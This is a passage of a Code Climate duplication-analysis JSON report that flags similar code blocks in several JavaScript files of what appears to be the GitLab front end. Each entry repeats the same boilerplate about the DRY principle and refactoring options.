refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/jobs/store/actions.js","lines":{"begin":139,"end":142}},"remediation_points":600000,"other_locations":[{"path":"app/assets/javascripts/jobs/store/actions.js","lines":{"begin":50,"end":53}},{"path":"app/assets/javascripts/jobs/store/actions.js","lines":{"begin":162,"end":165}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 55**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"ab644c43df256102910e1758c76cc0b5","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/jobs/store/actions.js","lines":{"begin":162,"end":165}},"remediation_points":600000,"other_locations":[{"path":"app/assets/javascripts/jobs/store/actions.js","lines":{"begin":50,"end":53}},{"path":"app/assets/javascripts/jobs/store/actions.js","lines":{"begin":139,"end":142}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 55**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"ab644c43df256102910e1758c76cc0b5","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/gl_dropdown.js","lines":{"begin":22,"end":35}},"remediation_points":1410000,"other_locations":[{"path":"app/assets/javascripts/gl_dropdown.js","lines":{"begin":83,"end":96}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 82**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"25ff43fa592634a300a75d479e7131a7","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/gl_dropdown.js","lines":{"begin":83,"end":96}},"remediation_points":1410000,"other_locations":[{"path":"app/assets/javascripts/gl_dropdown.js","lines":{"begin":22,"end":35}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 82**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"25ff43fa592634a300a75d479e7131a7","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/diffs/store/actions.js","lines":{"begin":85,"end":91}},"remediation_points":1380000,"other_locations":[{"path":"app/assets/javascripts/diffs/store/actions.js","lines":{"begin":93,"end":99}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 81**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"8761bbf2f2e7182d15c059e6eda61093","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/diffs/store/actions.js","lines":{"begin":93,"end":99}},"remediation_points":1380000,"other_locations":[{"path":"app/assets/javascripts/diffs/store/actions.js","lines":{"begin":85,"end":91}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 81**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"8761bbf2f2e7182d15c059e6eda61093","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/pages/projects/blob/show/index.js","lines":{"begin":13,"end":29}},"remediation_points":1380000,"other_locations":[{"path":"app/assets/javascripts/pages/projects/tree/show/index.js","lines":{"begin":24,"end":40}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 81**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"10512ee694664bf38a3b98f1983d771f","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/pages/projects/tree/show/index.js","lines":{"begin":24,"end":40}},"remediation_points":1380000,"other_locations":[{"path":"app/assets/javascripts/pages/projects/blob/show/index.js","lines":{"begin":13,"end":29}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 81**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"cacb4070042747bc39f22b6ed696d288","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/pages/projects/graphs/show/stat_graph_contributors_graph.js","lines":{"begin":45,"end":51}},"remediation_points":1380000,"other_locations":[{"path":"app/assets/javascripts/pages/projects/graphs/show/stat_graph_contributors_graph.js","lines":{"begin":59,"end":65}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 81**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"14f5cdeb3ea2bd6b45456111559d4372","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/pages/projects/graphs/show/stat_graph_contributors_graph.js","lines":{"begin":59,"end":65}},"remediation_points":1380000,"other_locations":[{"path":"app/assets/javascripts/pages/projects/graphs/show/stat_graph_contributors_graph.js","lines":{"begin":45,"end":51}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 81**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"14f5cdeb3ea2bd6b45456111559d4372","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/ide/stores/actions/file.js","lines":{"begin":150,"end":154}},"remediation_points":1350000,"other_locations":[{"path":"app/assets/javascripts/ide/stores/actions/file.js","lines":{"begin":156,"end":160}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 80**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"2c9b1f08a21d96ed70ae569a5f20147b","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/ide/stores/actions/file.js","lines":{"begin":156,"end":160}},"remediation_points":1350000,"other_locations":[{"path":"app/assets/javascripts/ide/stores/actions/file.js","lines":{"begin":150,"end":154}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 80**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"2c9b1f08a21d96ed70ae569a5f20147b","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/create_merge_request_dropdown.js","lines":{"begin":377,"end":382}},"remediation_points":1320000,"other_locations":[{"path":"app/assets/javascripts/create_merge_request_dropdown.js","lines":{"begin":382,"end":387}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 79**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"f7da63bef0b10cc1b2852a187aa6da7a","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/create_merge_request_dropdown.js","lines":{"begin":382,"end":387}},"remediation_points":1320000,"other_locations":[{"path":"app/assets/javascripts/create_merge_request_dropdown.js","lines":{"begin":377,"end":382}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, 